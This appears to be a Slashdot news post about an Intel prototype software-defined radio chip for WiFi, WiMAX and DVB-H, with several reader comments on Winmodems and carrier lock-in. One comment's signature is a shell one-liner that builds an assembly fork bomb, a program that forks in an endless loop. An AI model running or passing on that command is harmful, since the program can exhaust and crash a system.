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Intel Demos Software Defined WiFi/WiMAX/DVB-H Chip

Posted by ScuttleMonkey on from the all-in-wonderful dept.

Doc Ruby writes "Electronics Weekly is reporting that Intel has developed a new prototype chip for software defined radio. The new chip will be able to handle WiFi, WiMAX and DVB-H digital TV all on the same chip. 'This kind of chip would allow equipment to access the WiFi network in the home, automatically handover to a WiMAX network when you leave the house and also access digital TV on the move, all through one chip.' It's also a proof that the entire class of SW radios that could possibly converge CDMA, GSM and various other radio networks for opportunistic handoffs by a single device, a 'universal radio' that could use content formerly locked into a single radio type."

6 of 97 comments (clear)

  1. Re:That's cool by ak_hepcat · · Score: 1, Insightful

    It's about bloody time. Good grief, I mean, I wrote about this in '94 in my digital communications class.

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  2. Winmodem? by solafide · · Score: 4, Insightful

    Will these chips end up like Winmodems? no intelligence in the chip and impossible to get drivers for?

    1. Re:Winmodem? by Hal_Porter · · Score: 2, Insightful

      Actually, Winmodems aren't a bad idea per se. They are cheaper to make than full modems, and you don't need to update the hardware much when new modulation standards appear since they are basically a soundcard. Microsoft basically worked out they could make something that hardware manufacturers would like because it was cheap. And rival OS vendors would hate it since the specification wasn't published.

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      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  3. Cell Companies by Adambomb · · Score: 3, Insightful

    With a resounding cry of "Ahhhhh crap." from carriers relying on clients using only their devices.

    "You need to replace your phone? well then you can sign a new contract for a discount on our new..."

    "I already have a device to use for it right here....picked it up online, and its not part of your expected sell/refurb/resell cycles. I believe you know what you can do with your contract..."

    Course there will still be the "But don't you want 6 months of unlimited local talking and a discounted rate plan?!", still cuts out a lock in technique though.

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    Ice Cream has no bones.
  4. They sound much more interesting than Winmodems by Chuck+Chunder · · Score: 3, Insightful

    So there's a much better chance that some of the clever people capable of reverse engineering this sort of stuff will make the effort to do so.

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    Boffoonery - downloadable Comedy Benefit for Bletchley Park
  5. Re:ettus USRP by Doc+Ruby · · Score: 3, Insightful

    OK, but does the USRP (or even v2) fit on a 24mm^2 chip drawing 80mW for 52Mbps?

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